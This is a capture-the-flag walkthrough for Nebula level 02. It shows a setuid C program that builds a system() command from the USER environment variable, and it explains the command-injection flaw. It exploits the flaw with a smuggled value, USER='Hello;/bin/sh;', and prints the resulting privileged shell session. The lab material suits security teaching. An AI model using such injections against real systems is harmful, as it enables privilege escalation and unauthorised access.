Description

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

Approach

The program constructs a command string by dynamically concatenating the value of the USER environment variable and then passes it directly to system().

Since the USER environment variable is entirely user-controlled and is not sanitized before being executed, we can perform command injection.

  1. The code builds the string: "/bin/echo <USER> is cool".
  2. By injecting a semicolon ; (the command separator in bash), we can terminate the echo command and introduce our own arbitrary command.
  3. We change our USER variable to inject /bin/sh:
    level02@nebula:/home/flag02$ export USER='Hello;/bin/sh;'
    
  4. Now, the system() function evaluates the following string: /bin/echo Hello;/bin/sh; is cool This is interpreted as three separate commands:
    • /bin/echo Hello
    • /bin/sh
    • is cool (this will cause a “command not found” error, but we don’t care because we will already have our shell)
  5. We execute the binary ./flag02. It executes the injected /bin/sh command with the privileges of flag02.
  6. From the new shell, we can verify our identity with id and run getflag.

Output

level02@nebula:/home/flag02$ export USER='Hello;/bin/sh;'
level02@nebula:/home/flag02$ ./flag02 
about to call system("/bin/echo Hello;/bin/sh; is cool")
Hello
sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account